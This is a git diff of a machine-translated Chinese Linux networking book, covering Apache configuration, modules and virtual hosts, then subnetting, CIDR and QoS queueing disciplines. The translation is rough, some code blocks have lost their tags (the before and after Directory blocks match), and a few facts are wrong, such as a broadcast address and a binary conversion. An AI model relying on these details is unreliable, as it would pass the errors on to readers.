中查看配置文件,您根本不会看到这个调用。 相反,您将看到在`/etc/apache2`中有一个名为`sites-available`的目录。 在该目录中,将有两个默认文件`000-default.conf`和`default-ssl.conf`。 这两个文件都将`/var/www/html`指定为默认路径,但它们的不同之处是`000-default.conf`文件指定端口 80 的配置,而`default-ssl.conf`负责端口 443 的配置。 您可能知道,端口 80 引用标准 HTTP 流量,而端口 443 对应于安全流量。 因此,本质上,每种类型的流量在 Debian 系统上都有自己的配置文件。 - -在所有的案例中,**文档根**被设置为`/var/www/html`。 如果您想将其更改到一个不同的目录,您将更改代码以指向新目录。 例如,如果您想将路径更改为`/srv/html`之类的内容,则需要对该文件进行一些更改。 - -首先,查找以下一行: - -```sh -DocumentRoot /var/www/html - -``` - -将其更改为指向新目录: - -```sh -DocumentRoot /srv/html - -``` - -在我的测试系统上,我在 Debian 上的以下配置文件中找到了`DocumentRoot`标注: - -```sh -/etc/apache2/sites-available/000-default - -``` - -在 CentOS 上,我发现在默认配置文件的第 119 行: - -```sh -/etc/httpd/conf/httpd.conf - -``` - -更改之后,我们必须设置新目录的选项。 在 Debian 上,我们需要在以下文件中进行这些更改: - -```sh -/etc/apache2/apache2.conf - -``` - -在 CentOS 上,我们需要在以下文件中进行这些更改: - -```sh -/etc/httpd/conf/httpd.conf - -``` - -打开其中一个文件,这取决于您使用的发行版。 我们需要修改的代码如下所示: - -```sh - - Options Indexes FollowSymLinks - AllowOverride None - Require all granted - -``` - -相应更改以下内容: - -```sh - - Options Indexes FollowSymLinks - AllowOverride None - Require all granted - -``` - -### 注意事项 - -可能会有一些注释混杂在前面示例中显示的代码中,但基本思想是相同的。 找到以``开头的行,并确保该块中的未注释代码与示例匹配。 只要你这么做,你就会没事的。 - -最后,它可能是不言自明的,但是为了避免麻烦,您应该确保已经将权限设置为`/srv/html`,以便每个人都可以阅读目录和内容。 另外,确保您在这个目录中创建或复制了一个示例 HTML 文件(例如`index.html`)。 一旦你重新启动 Apache,你应该能够从这个新目录提供 web 内容。 - -除了设置文档根目录外,Apache 配置文件还允许您配置一些非常重要的安全设置。 例如,默认情况下禁止访问整个服务器的文件系统。 这是一件好事。 下面的代码是一个取自 CentOS 系统的示例,它负责阻止文件系统范围的访问。 代码如下: - -```sh - - AllowOverride none - Require all denied - -``` - -远程查看`.htaccess`文件也是默认禁用的配置块如下: - -```sh - - Require all denied - -``` - -还可以设置其他选项,例如 Apache 日志文件的默认位置。 默认情况下,以下默认配置行将日志文件定向到/`etc/httpd/logs`: - -```sh -ErrorLog "logs/error_log" - -``` - -然而,这可能会引起误解,因为 CentOS 系统上的`/etc/httpd/logs`目录实际上是指向`/var/log/httpd`的符号链接,如果您需要查看日志文件,您实际上可以在其中找到它们。 默认情况下,日志记录设置为`warn`,这也可以改变在 Apache 配置文件和设置为任何一个`debug`,`info`,`notice`,`warn`,`error`、【显示】。 - -需要注意的是,对于对 Apache 所做的任何更改,都需要重新加载或重新启动该守护进程。 如果您重新启动该守护进程,它将关闭 Apache 并重新启动它。 Reload 只是导致 Apache 重新读取它的配置文件。 在大多数情况下,重载是更好的选择。 通过这样做,您可以应用新的配置,而不中断对您的网站的访问。 与大多数 systemd 单元一样,Apache 使用以下命令来管理守护进程的运行状态: - -1. 使用以下命令启动 Apache 守护进程: - - ```sh - # systemctl start apache2 - - ``` - -2. 使用以下命令停止 Apache 守护进程: - - ```sh - # systemctl stop apache2 - - ``` - -3. 在启动时使用以下命令启用 Apache 守护进程: - - ```sh - # systemctl enable apache2 - - ``` - -4. 重新加载 Apache 守护进程,同时试图维护其运行状态: - - ```sh - # systemctl reload apache2 - - ``` - -5. 使用以下命令重启 Apache 守护进程: - - ```sh - # systemctl restart apache2 - - ``` - -如果你使用的是 CentOS,在每种情况下用`httpd`替换`apache2`。 现在您理解了 Apache 的安装和配置方式,我们可以继续使用模块。 - -# 添加模块 - -由于和 Apache 一样是开箱即用的,所以您可能需要的一些功能没有内置。 Apache 使用**模块**来扩展其特性集。 这方面的例子可能包括安装`php5`模块以使您的站点能够使用 PHP,或者如果您使用该语言进行开发,则可能安装 Python 模块。 一旦安装并激活一个模块,您就可以使用该模块的特性。 - -CentOS 和 Debian 对 Apache 的实现是不同的,添加模块的方式也是不同的。 事实上,Debian 甚至包含了它自己的启用和禁用模块的命令,这完全是 Debian 系统独有的。 这些命令是`a2enmod`和`a2dismod`。 - -要完成在 Debian 中启用一个模块的典型过程,我们可以在服务器上启用 PHP 模块。 我还将在 CentOS 中详细介绍这个过程,但正如我所提到的,这个过程在两者之间是完全不同的。 - -首先,找到包含您想要的模块的包。 如果你不知道要安装的软件包的确切名称,你可以用下面的命令打印一个可用的 Apache 模块列表到你的终端: - -```sh -aptitude search libapache2-mod - -``` - -默认情况下,`aptitude`没有安装在大多数 Debian 系统上。 如果前一个命令的结果是`command not found error`,您只需要通过`apt-get install`安装`aptitude`包。 输出可能太长,这取决于终端窗口的大小,因此您可能需要将输出管道导入`less`: - -```sh -aptitude search libapache2-mod |less - -``` - -下面的截图显示了 aptitude 在 Debian 系统上搜索`libapache2-mod`的搜索结果: - -![Adding modules](img/B03919_07_03.jpg) - -Debian 系统中有很多可供 Apache 使用的模块 - -通过搜索,按`Enter`或上下方向键滚动输出,完成后按*Q*。 通过仔细阅读输出,您将看到 PHP 包名为`libapache2-mod-php5`。 所以,让我们用下面的命令来安装它: - -```sh -# apt-get install libapache2-mod-php5 - -``` - -安装包后,检查输出。 Debian 很可能已经为您安装了这个模块,其逻辑是,如果您特别要求安装一个包,您可能会希望它立即可用。 如果你看到类似如下的输出,那么这个例子中的 PHP 模块已经安装: - -```sh -apache2_invoke: Enable module php5 - -``` - -您可以通过在 shell 中执行`a2enmod php5`来尝试启用它来验证这一点。 如果它被启用,你会看到类似如下的输出: - -```sh -Module php5 already enabled - -``` - -本质上,`a2enmod`和`a2dismod`命令的工作原理基本相同。 正如您可能了解到的,一个启用模块,另一个禁用它们。 为了使用 Apache 模块,必须启用它。 然而,如果你不再需要一个模块,你可以禁用它(或者更好的是,删除它)。 讨论所有的模块和它们提供的特性超出了本书的范围。 但在实践中,您将只启用站点所需的模块,这因环境而异。 在我们继续在 CentOS 系统上执行相同的过程之前,我将把这个留给您。 要查看安装在 Debian 系统上的所有模块的列表,发出以下命令: - -```sh -# apache2ctl -M - -``` - -现在,让我们转向 CentOS。 通过使用包管理器列出可用的模块包,大多数模块都可以像我们之前在 Debian 部分所做的那样列出。 在 CentOS 中,我们可以通过以下命令做到这一点: - -```sh -yum search mod_ - -``` - -不幸的是,这个输出中没有列出 PHP 模块。 这是因为我们通过安装`php`包在 CentOS 中启用了 PHP。 这就是事情开始变得混乱的地方; 相当多的 CentOS Apache 模块包有以`mod_`开头的命名约定,但不是所有的都这样。 在决定需要安装哪些包来授予系统对某个模块的访问权时,有时需要进行一些研究。 如果您正在开发的站点还需要其他模块,比如用于 LDAP 身份验证的`mod_ldap`,那么您也可以安装这些模块。 - -与 Debian 不同,`yum`包管理器应该已经启用了为您安装的模块。 既然我们已经在 CentOS 系统中安装了 PHP,那么在重启`httpd`守护进程之后,PHP 就可以使用了。 为了验证这一点,我们应该能够创建一个`info.php`文件并将其存储在`/var/www/html/info.php`中。 文件内容如下: - -```sh - -``` - -如果导航到 URL`http:///info.php`,应该会看到一个页面,其中包含有关服务器 PHP 实现的信息。 - -![Adding modules](img/B03919_07_04.jpg) - -查看 Apache 服务器上的 PHP 服务器信息 - -### 注意事项 - -尽管使用`info.php`文件来测试 PHP 是完全没问题的,但是不要把它放在服务器上——这会带来安全风险。 您不希望让攻击者太容易确定关于您的服务器正在运行的特定信息。 这个过程仅仅是为了测试 PHP 是否正常运行。 - -现在我们已经完成了 Apache 模块的安装,您应该可以很容易地根据需要定制您的 web 服务器,以便支持您计划运行的任何网站或应用。 - -# 设置虚拟主机 - -一个组织托管多个站点是非常常见的。 每个站点都可以在自己的服务器或虚拟机上运行,但这并不太实际。 在每个服务器上运行一个站点是非常昂贵的,而且效率不高。 **虚拟主机**的概念是多个站点可以生活在一个 web 服务器上,这节省了基础设施。 当然,总有可能你的网站产生了太多的流量,与其他高流量的网站共享可能不是一个好主意,但当这种情况下,虚拟主机是推荐的。 - -如前所述,`/var/www`是 Apache 查找要服务的文件的默认位置。 如果在一台服务器上托管多个站点,则需要为每个创建单独的目录。 例如,如果您正在为一个名为`tryadtech.com`的公司托管一个网站,而另一个为`linuxpros.com`的公司托管一个网站,您可以创建以下目录结构: - -```sh -/var/www/tryadtech.com/html -/var/www/linuxpros.com/html - -``` - -在本例中,我创建了几个层次的目录,因此可以在`mkdir`中使用`-p`标志来创建这些目录及其父目录。 - -这样,每个站点都有自己的目录,所以您可以将它们的内容分开。 每个人都需要读取这些文件,所以我们需要调整权限: - -```sh -# chmod 755 -R /var/www/ - -``` - -要创建虚拟主机,我们需要从中创建一个配置文件。 在 Debian 上,您可以选择一个默认配置作为起点(我将在下一节详细介绍我使用的配置,因此不需要使用这个文件)。 如果你愿意,你可以从以下文件开始: - -```sh -/etc/apache2/sites-available/000-default.conf - -``` - -该文件是为虚拟主机创建配置的一个很好的参考点。 如果你选择使用它,把它复制到你为虚拟主机创建的目录中: - -```sh -# cp /etc/apache2/sites-available/000-default.conf /etc/apache2/sites-available/tryadtech.com.conf - -``` - -在 CentOS 上,`/etc/apache2/sites-available`目录甚至不存在,所以继续创建它。 为了告诉 Apache 从这个目录加载站点,我们需要在`/etc/httpd/conf/httpd.conf`文件的底部添加以下一行: - -```sh -IncludeOptional sites-available/*.conf - -``` - -下面是一个虚拟主机配置文件示例。 在我的 Debian 测试系统上,我将其保存为`/etc/apache2/sites-available/tryadtech.com.conf`,但在 CentOS 上只将`apache2`替换为`httpd`。 我从前面提到的`000-default.conf`文件中获取了这个示例文件,为了简洁起见删除了注释行。 第一行粗体字原来没有出现,第二行被修改了: - -```sh - - ServerAdmin webmaster@localhost - ServerName tryadtech.com - DocumentRoot /var/www/tryadtech.com/html - ErrorLog ${APACHE_LOG_DIR}/error.log - CustomLog ${APACHE_LOG_DIR}/access.log combined - -``` - -正如您在这里看到的,我们在`tryadtech.com`目录下调用了一个`html`目录。 要开发站点,您需要将站点的文件放到`html`目录中,重新启动 Apache 后,您应该能够从 web 浏览器访问该目录。 - -那么,Apache 服务器如何知道要将访问者发送到哪个目录呢? 注意我添加到配置文件中的`ServerName`行。 在这一行中,我调用了这个虚拟主机中的文件所属的特定域名。 这要求您已经设置了 DNS 并指向这个 IP。 例如,您在域名注册商处的 DNS 条目将把这两个虚拟主机指向相同的 IP 地址。 当一个请求通过`tryadtech.com`域进入时,Apache 应该提供来自`/var/www/tryadtech.com/html`目录的用户文件。 如果您配置另一个虚拟主机和域名,同样的情况也适用于该域。 - -# 总结 - -在本章中,我们设置了一个 Apache 服务器,我们可以使用它在本地 intranet 上共享信息,如果我们的机器是外部可路由的,甚至可以在 Internet 上共享信息。 我们介绍了安装 Apache、对其进行定制、设置模块以及设置虚拟主机。 - -在下一章中,我们将处理高级网络技术,如子网,添加冗余的 DHCP 和 DNS,以及路由。 看到你在那里! \ No newline at end of file diff --git a/docs/master-linux-net-admin/08.md b/docs/master-linux-net-admin/08.md deleted file mode 100644 index d500a0d5..00000000 --- a/docs/master-linux-net-admin/08.md +++ /dev/null @@ -1,494 +0,0 @@ -# 八、了解高级组网概念 - -到目前为止,我们已经深入了解了 Linux 网络管理,涵盖了从规划、设置文件服务器、网络服务等方方面面。 现在,当我们接近本书的结尾时,最后几章将以关于高级网络、安全性甚至故障排除的信息来完善这些知识。 在这一章中,我们将了解一些更高级的概念,如子网、路由等! - -在本章中,我们将介绍: - -* 将网络划分为多个子网 -* 理解 CIDR 符号 -* **服务质量**(**QoS**) -* **网络地址转换**(**NAT**) -* TCP / IP 路由流量 -* 创建冗余 DHCP 服务器和 DNS 服务器 -* 配置网络网关 - -# 将网络划分为多个子网 - -除非你正在运行一个非常小的家庭或办公室网络,否则通常是一个好主意。 子网允许您将网络分割成更小的部分,每个部分都有自己的 IP 地址和资源。 例如,可以将无线通信、服务器、工作站和公司发布的移动设备放在它们自己的子网中。 此外,如果在您的网络中有任何特定的服务接收最多的流量,您也可以将该服务放在它自己的子网中。 有无限的可能性,每个管理员都有他或她自己的想法,最好的方式分裂网络。 - -在[第六章](06.html "Chapter 6. Configuring Network Services")、*配置网络服务*中,我们建立了一个 DHCP 服务器。 在其中,我包含了一个使用特定子网来动态租用 IP 地址的示例。 在该方案中,我们使用的网络是`10.10.96.0/22`。 这意味着我们有几个可用的网络,包括`10.10.96.0`、`10.10.97.0`、`10.10.98.0`和`10.10.99.0`。 有了这个网络,我们基本上可以把几个业务分成各自的网络。 在我们的配置中,`10.10.99.0`用于 DHCP。 但是当然,如果您决定这样做的话,没有什么可以阻止您使用 IP 地址`10.10.96.1`到`10.10.99.254`。 这实际上取决于您如何配置网络。 在那一章中,我们设定了一些本章将要用到的基础工作。 但是我们并没有讨论我们是如何得到这些数字的,或者如何手动分割网络。 - -子网划分的神奇之处在于子网掩码,尽管大多数人只忽略了这个数字。 对于相当多的网络,子网掩码保持默认值(`255.255.255.0`),没有人真正质疑它。 如果你从商店购买了一台路由器,并在没有配置它的情况下投入生产(坏主意),你就只剩下一个 24 位网络和一个`255.255.255.0`子网掩码。 但这到底意味着什么呢? - -有两种不同类型的子网,**有类的**和**无类的**。 在生产网络中,很少有人会提到实际的类,因为无类就是现在子网的方式(稍后会详细介绍)。 但在我们进入无课网络之前,重要的是了解之前的情况。 在关于子网划分的讨论中,我们多次使用了`255.255.255.0`的子网掩码示例,该示例属于 C 类网络。 总共有 5 个类,从类 A 到类 E。类 D 和 E 并不常用,所以为了讨论有类 IP 地址,我们将继续使用类 A 到类 C。 - -A 类到 C 类的子网掩码如下: - - -| - -类 - - | - -子网掩码 - - | -| --- | --- | -| 一个 | `255.0.0.0` | -| B | `255.255.0.0` | -| C | `255.255.255.0` | - -每个子网掩码对应于为网络指定的 IP 地址的哪一部分,以及为每个单独的节点指定的哪一部分。 例如,假设我们有一个配置了网络地址`192.168.50.0`作为 C 类网络的网络。 这意味着我们的网络的子网掩码为`255.255.255.0`。 与所有 IPv4 IP 地址一样,我们的网络地址有四个八位:`192`、`168`、`50`和`0`。 为了说明子网掩码如何影响 IP 地址,我将在一个表中排列每个八位元: - - -| 192 | 168 | 50 | 0 | -| 255 | 255 | 255 | 0 | - -子网掩码的目的是*掩码出*,即 IPv4 地址的八位元对应于整个网络,而这些八位元对应于各个节点。 每个八字节中可能的最大值是`255`。 如果一个子网掩码内的一个八位元被设置为`255`,占用了整个八位元,从而抵消了它。 在这种情况下,每个节点的 IP 地址将以`192.168.50`开始,因为前三个八位元被抵消了。 注意,最后一个八位元在网络地址和子网掩码中都是零。 在 IPv4 网络中,`0`意味着任何东西。 因此,子网掩码的最后一个 8 位元是`0`,这说明它不关心这个 8 位元,而网络地址是`0`,这意味着它也不关心这个 8 位元。 因此,在最后一名的任何数字都是公平的。 - -在本例中,从`192.168.50.0`到`192.168.50.255`的 IP 地址属于这个网络(子网)。 嗯,差不多。 如果我们的子网掩码是`255.255.255.0`,我们就永远无法开始分配`192.168.50.0`IP 地址范围。 这是因为子网的第一个 IP 地址不能分配给节点。 第一个 IP 地址被指定为作为**网络标识符**,并被保留。 当然可以有一个以`0`结尾的 IP 地址,只要它不是块中的第一个 IP 地址。 但是在类 C 网络中,`192.168.50.0`的 IP 地址是无效的,因为它实际上是该子网中的第一个地址。 - -另一个不能分配给任何节点的 IP 地址是子网的最后一个 IP。 在我们的 C 类示例中,应该是`192.168.255.255`。 这个 IP 地址被称为**广播地址**,也被保留。 如果广播消息需要发送到整个网络,则广播地址用于此目的。 考虑到这一点,我们的 DHCP 范围在类 C 网络(如我们示例中使用的网络)中的最大范围是`192.168.50.1`到`192.168.50.254`。 - -你可能想知道广播地址的目的。 如上所述,它允许将数据包发送到整个网络。 实际上,网络服务(如 DHCP)是利用广播的。 当你第一次将一台计算机插入以太网线(一台没有静态 IP 编程的计算机)时,它将发送一个广播消息请求一个 IP 地址。 在连接之前,它不知道 DHCP 服务器的 IP 地址是什么。 它可以是`192.168.1.1`,甚至是`192.168.1.100`。 它什么都不知道。 通过发送广播消息,任何负责 DHCP 的服务器都应该能够听到请求并响应它。 - -那么,为什么在前面的示例中选择 IP 地址`192.168.50.0`呢? 这个数字是随机选择的,为的是说明子网掩码如何影响可用的 IP 地址。 我们可以使用`172.16.254.0`作为我们的网络地址,并使用`255.255.255.0`的 C 类子网掩码,这仍然会给我们相同数量的可用 IP 地址(254)。 在第二个例子中,我们仍然声明一个 C 类网络,只是使用了不同的 IP 方案。 由于您正在管理一个内部网络,您可以选择您想要的任何编号系统。 只要你的 IP 地址不是公开可路由的,只要你在任何八位元组中不使用超过 255 的数字,或者在网络中的第一个或最后一个 IP 地址,这都是公平的游戏。 还有一些其他的 IP 地址我们不能使用,我们稍后会讲到。 - -为了更好地理解这是如何工作的,我们需要重新讨论子网掩码。 如前所述,子网掩码有助于确定 IP 地址方案的哪些部分属于各个节点,哪些部分属于网络本身。 这样想。 255 是子网掩码或 IP 地址的任意八位字节中的最大数目。 子网掩码中的每个 255 代表一个不能更改的数字。 因此,如果你有一个 IP 地址`10.19.100.24`和一个子网掩码`255.255.255.0`,你可以马上知道这个网络的前三个八位元不会改变。 这意味着每个属于这个子网的主机都有一个以`10.19.100`开头的 IP 地址。 如果子网掩码是`255.255.0.0`,就会有更多可用的 IP 地址,因为最后两个八位元可以被占用。 这实际上会给我们 65534 个 IP 地址。 前者只允许我们使用 254 个 IP 地址,因为最后一个八位元是唯一可以改变的,它的最大值是 255(减去一个广播地址)。 - -但是您可能已经注意到,我使用了 a 类 IP 地址(`10.19.100.24`)的示例,但我使用了 C 类子网掩码(`255.255.255.0`)。 这是有效的吗? 当然! 不管一般公认的类结构是什么,子网掩码的唯一目的是帮助您了解哪一部分是主机,哪一部分是节点。 因此,`255.255.0.0`和`255.255.255.0`的子网掩码都对该网络有效。 - -然而,有些 IP 地址对于单独的类来说是无效的。 虽然带有`253.221.96.0`子网掩码`255.255.255.0`的内部 IP 网络符合所有这些规则,但它并不适用于 C 类网络。 如果您只管理您的网络中的 IP 地址,它可能工作,也可能不工作。 因此,对于类风格的每个类,都有一个推荐的方案。 我将在下表中说明这一点: - - -| - -类 - - | - -IP 开始 - - | - -结束的 IP - - | -| --- | --- | --- | -| 一个 | `0.0.0.0` | `127.255.255.255` | -| B | `128.0.0.0` | `191.255.255.255` | -| C | `192.0.0.0` | `223.255.255.255` | - -### 注意事项 - -对于所有联网的东西,这里也有一个例外需要记住,您不能将`127.0.0.0`或`127.0.0.1`分配给任何东西,因为它指的是本地回环适配器。 - -事实上,在 A 类方案中,内部网络以`10`开始一个 IP 地址范围是非常常见的。 这是我们在前面设置 DHCP 服务器时所做的。 在该示例中,我们使用了`10.10.96.0`网络。 但如果你还记得,我们没有使用的 C 类子网掩码`255.255.255.0`; 我们使用`255.255.252.0`。 这种区别将引导我们进入下一个主题,CIDR。 - -# 了解 CIDR 符号 - -正如我前面提到的,有类子网的概念不再经常使用。 有类子网的主要用途是网络设备(如路由器)的默认配置,以及大多数 DHCP 服务器的默认设置。 在家庭路由器的情况下,DHCP 服务器通常是内置的,默认方案通常是 C 类网络(通常是`192.168.1.0`,中间有几个变体)。 但对于大多数设备,无论是家庭设备还是企业设备,如果不将其更改为其他内容,您可能会得到一个 C 类 IP 方案。 在小型网络中使用这些默认设置并没有什么错,但是现在几乎没有人在配置网络时使用类样式。 原因是有等级的网络太局限了; 在复杂的网络部署中,试图强迫您的网络计划适应这些预先确定的方案之一可能是一件痛苦的事情。 - -解决有类方案缺乏灵活性的方法是**无类域间路由**(**CIDR**)。 有了 CIDR,我们基本上把 A 类、B 类和 C 类子网掩码的限制抛到了九霄外。 相反,我们使用二进制系统来决定如何划分我们的网络。 因此,我们可以*借用*位,改变子网掩码,以更灵活的方式划分网络,而不是坚持使用三个不同的子网掩码。 - -要理解这个概念,首先要理解比特的概念。 子网掩码中的每个八位元包含 8 位。 每个位要么是一个`1`要么是一个`0`(二进制)。 而且,每八个比特都有价值。 为了说明这一点,以数字`255`为例。 这是任何八位元可以达到的最大值。 如果写成二进制,`255`就是`11111111`。 因此,将`255.255.255.0`的 C 类子网掩码写成二进制则为`11111111.11111111.11111111.00000000`。 - -为了更容易理解,请参阅下表,其中我列出了四个输出之一(`255`),并以二进制形式显示它。 在这个表中,第一行给出了每个位的点值。 您可以看到,最右边的位值仅为`1`,而最左边的位值为`128`。 任何在底部的`1`位都被累加起来。 在本例中,每一位都是`1`(因为`255`是最大值),所以我们将第一行的每个数字加起来,得到`255`。 - - -| 128 | 64 | 32 | 16 | 8 | 4 | 2 | 1 | -| 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | - -另一个例子见下表: - - -| 128 | 64 | 32 | 16 | 8 | 4 | 2 | 1 | -| 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | - -要将这个数字转换为小数,请从右边开始,然后向左移动。 第一个位是 0。 它符合 1 的点值吗? 不。 跳过它。 其次,它也不符合 2、4 或 8。 所以跳过这些。 但它确实晋级了最后四名,16、32、64 和 128 名。 把这些加起来。 答案吗? 224\. 您只是将二进制数`1111000`转换为十进制数。 - -我们可以使用`1101000`作为子网掩码中的值吗? 不可能。 原因是子网掩码中为 1 的位必须是顺序的。 以下是子网掩码中所有有效的二进制数: - -```sh -00000000 -10000000 -11000000 -11100000 -11110000 -11111000 -11111100 -11111110 -11111111 -``` - -事实上,就是这样。 因为任何 1 都必须是连续的(从左到右),所以它们是唯一对子网掩码内的任何八位元有效的数字。 因此,对于子网掩码的任何八位元,唯一有效的十进制值是 0、128、192、224、240、248、252、254 和 255。 - -### 注意事项 - -如果将一个 IP 地址转换为二进制,您将遵循前面表中相同的点值,尽管顺序 1 的规则并不适用。 从 0 到 255 的任何数字在 IP 地址的任意八位中都是有效的,在每个八位中都是 1 和 0 的组合。 - -对于一个网络的*子网*,我们只需改变顺序 1 的数目。 例如,`255.255.255.0`的二进制表示为`11111111.11111111.11111111.00000000`。 我们可以在这个掩码上添加一个额外的 1,得到`11111111.11111111.11111111.10000000`,从而得到一个`255.255.255.128`的子网掩码。 使用这个子网掩码,我们可以将我们的网络分成两部分。 让我们来分析一下。 - -正如我多次提到的,子网掩码的目的是*掩码出*哪个 IP 地址部分用于网络,哪个 IP 地址部分用于单个节点。 正如我们已经知道的,子网掩码为`255.255.255.0`意味着前三个八位元不能被使用,但我们可以使用它,因为最后一个是 0。 如果我们将这个子网掩码应用于`10.10.10.0`网络,我们可以知道每台主机将有一个`10.10.10.x`的 IP 地址。 最后一个八位是 0,它告诉我们 IP 地址`10.10.10.1`到`10.10.10.254`是可争取的。 同样,我们不能使用子网的第一个 IP(本例中为`10.10.10.0`)或最后一个 IP(`10.10.10.255`),因为它们分别对应于网络标识符和广播地址。 - -但是,对于一个以*而不是*结尾为 0 的子网掩码,我们该怎么做呢? 如果子网掩码为`255.255.255.128`,最后一个八位元将被使用,但不会耗尽,因为它不是 255 的最大值。 我们还剩下一些。 这是因为当子网掩码中的 8 位元为*而不是*255 时,它并不能完全屏蔽该 8 位元。 相反,它创造了一条分界线。 如果我们将该子网掩码应用于我们的`10.10.10.0`网络,那么`10.10.10.128`的 IP 地址就不能使用了。 我们所做的就是把最后一个八位元分成两半。 记住,值 0 到 255 在一个八位字节中是有效的; 因此,256 个可用的数字减半等于 128。 考虑到这一点,我们创建了一个有两个网络的方案。 一个网络包含`10.10.10.1`~`10.10.10.126`IP 地址。 另一个允许我们 IP 地址`10.10.10.129`到`10.10.10.254`。 原因是`10.10.10.128`是我们子网的分界线,无法使用。 我还提到,一个块中的第一个和最后一个 IP 地址也不能使用,因为`10.10.10.0`和`10.10.10.128`是每个网络的标识符。 每个块中的最后一个 IP 地址分别是`10.10.10.127`和`10.10.10.255`,并且是禁止的,因为这些地址现在是这两个网络的广播地址。 如果我们用 CIDR 格式写出这些网络,我们得到以下结果: - -```sh -10.10.10.0/25 -10.10.10.128/25 -``` - -记住,我们计算子网掩码中顺序的数目,以达到最后的*斜杠*数字。 我们可以写成下面这样,但我相信你会同意 CIDR 更容易输入: - -```sh -10.10.10.0/255.255.255.128 -10.10.10.128/255.255.255.128 -``` - -在二进制中,该子网掩码为`11111111.11111111.11111111.1 0000000`。 因为有 25 个 1,所以这个子网掩码的 CIDR 表示法是 25。 希望这个概念现在讲得通了。 - -至于我们的无类样式,没有什么可以阻止你使用子网掩码,比如`255.255.255.0`。 并不是每个人都需要大量的主机。 但在 CIDR 风格中,我们不将其称为 C 类子网掩码,而是将其称为`/24`网络。 在表中,我列出了讨论有类网络时使用的子网掩码,以及它们的 CIDR 等效。 - - -| - -类 - - | - -子网掩码 - - | - -CIDR 标记 - - | -| --- | --- | --- | -| 一个 | 255.0.0.0 | / 8 | -| B | 255.255.0.0 | / 16 | -| C | 255.255.255.0 | / 24 | - -既然我们了解了子网是如何工作的,那么我们如何在我们的网络中使用它呢? 幸运的是,这部分很简单。 部署子网的神奇之处在于 DHCP 服务器。 如果你还记得,在[第 6 章](06.html "Chapter 6. Configuring Network Services"),*配置网络服务*中,我们在 DHCP 服务器的`/etc/dhcp/dhcpd.conf`文件中使用了以下配置: - -```sh -default-lease-time 86400; -max-lease-time 86400; -option subnet-mask 255.255.252.0; -option broadcast-address 10.10.99.255; -option domain-name "local.lan"; -authoritative; -subnet 10.10.96.0 netmask 255.255.252.0 { - range 10.10.99.100 10.10.99.254; - option routers 10.10.96.1; - option domain-name-servers 10.10.96.1; -} -``` - -在第一行粗体中,我为从该服务器接收 IP 地址的每个节点提供了一个子网掩码`255.255.252.0`。 在最后的代码块中,我决定从`10.10.99.100`到`10.10.99.254`发出 IP 地址。 因此,每个节点将收到一个`10.10.99.x`IP 地址和一个`255.255.252.0`子网掩码。 - -在推出子网方案时,惟一需要做的就是确保每个拥有静态 IP 地址的服务器或设备也都被更改。 除非您使用了静态租约(也称为*预订*),否则您将不得不找到这些主机并手动更改它们。 出于这个原因,我总是更喜欢静态租期而不是静态 ip。 对于静态租期,您需要做的就是编辑 DHCP 配置并更改分发给主机的 ip。 如何设置预约,请参考[第 6 章](06.html "Chapter 6. Configuring Network Services")、*配置网络服务*。 - -# 实施服务质量 - -不是所有的网络流量都是平等的,也不是所有的服务都是同等重要的。 有时候,一个网络需要比其他服务更紧急地处理某些服务。 也许在服务器环境中,您的 web 服务器接收来自游客的高水平的交通,必须优化 MySQL,或者**你的办公室使用 VoIP**(**语音 IP**)和需要重点放在电话系统。 您的网络可能需要比其他网络更紧急地处理某个服务,原因有很多。 **Quality of Service**(**QoS**)帮助我们实现了这一点。 - -虽然有多种方法可以调整网络适配器以实现 QoS,但最典型的方法是,称为**排队规则**(或者更简单地说,**qdisc**)。 排队规则是管理员可以应用于网络适配器以使用多个调度器中的一个,每个调度器对流量的处理有不同的影响。 要查看您的网络适配器当前使用的调度程序,运行以下命令: - -```sh -ip link list - -``` - -寻找你的默认网卡,可能是`eth0`(在 Debian 中)或`eno1`(在 CentOS 中)或类似的。 - -![Implementing Quality of Service](img/B03919_08_01.jpg) - -查看 Debian 中 IP link list 的输出信息 - -最有可能的情况是,您将在输出中看到`qdisc pfifo_fast`,它告诉我们当前使用的排队规则是`pfifo_fast`。 这基本上是一个先到先服务的调度程序(先到先出)。 但它并不是只包含一个频带,而是包含三个频带`pfifo_fast`——每个频带将流量分成三个优先级。 第一个频带(频带 0)包含最高优先级的流量。 每个波段只有在前一个波段被服务之后才被处理。 除非您的发行版更改了默认调度器`pfifo_fast`,否则该调度器最有可能是当前系统上使用的开箱即用的调度器。 - -调度器被称为无类调度器。 换句话说,您看到的就是您得到的——当涉及到无类调度程序如何过滤流量时,不需要进行配置。 其他阶级学科**包括随机公平**【5】【T6 排队】(【显示】SFQ),**扩展随机公平排队**(【病人】ESFQ),和**令牌桶过滤器(转发【t16.1】延长**)。 - -正如我们之前提到的,SFQqdisc 使用了 FIFO 的概念,但是将网络流量分割成多个 FIFO,以循环方式处理。 这个 qdisc 尽量做到公平,使用流来调度数据包传输。 这给了每一个流一个转折来传输,防止其中任何一个变得饱和。 ESFQ 非常类似,但它为管理员提供了更多的配置选项。 与 SFQ 不同,TBF 实际上不操作数据包,也不进行任何调度。 TBF 的主要目的是设置传输发生的速率,允许您设置参数,如速率、突发、峰值速率等。 有关这些 qdisc 的更深入的信息,请参阅`sfq`和`tbf`的主页。 在网络适配器上设置首选 qdisc 是通过`tc`命令完成的。 在以太网适配器`eno1`上设置`sfq`的示例如下: - -```sh -# tc qdisc add dev eno1 root sfq perturb 60 - -``` - -这里,我们用`qdisc`调用`tc`命令,并阐明我们想要`add`(我们也可以`del`)一个 qdisc。 我们将针对接口`eno1`执行此操作,并且我们将此更改请求到出口(`root`),同时针对接口的`sfq`qdisc。 最后,我们设置 qdisc 特定的参数(在本例中为`pertub`)。 perturb 参数允许我们设置这个 qdisc 的哈希算法将被重置的秒数。 我们还可以修改其他特定于 sfq 的值,例如所使用的流的数量、量程、redflowlimit 等等。 有关可与 sfq 或 tbf 一起使用的参数的完整描述,请参阅`man sfq`。 - -无分类 qdisc 的不足之处在于,它们不允许您像人们所希望的那样对流量进行粒度分类。 虽然改变数据包的调度方式当然很有用,但这个概念不允许您选择在任何给定时间接收优先级的流量类型。 有类 qdiscs 解决了这个问题,并为管理员提供了更大的灵活性。 有了这些,你就可以为父母和孩子设定不同的规则。 事实上,这就是有类 qdisc 和无类 qdisc 的主要区别。 这并不是说无类 qdisc 是不可配置的; 他们只是没有支持高级用例灵活性的选项。 接下来,我们将探索有类的 qdisc,以及它们如何允许我们增加这种灵活性。 - -通过利用有类 qdisc 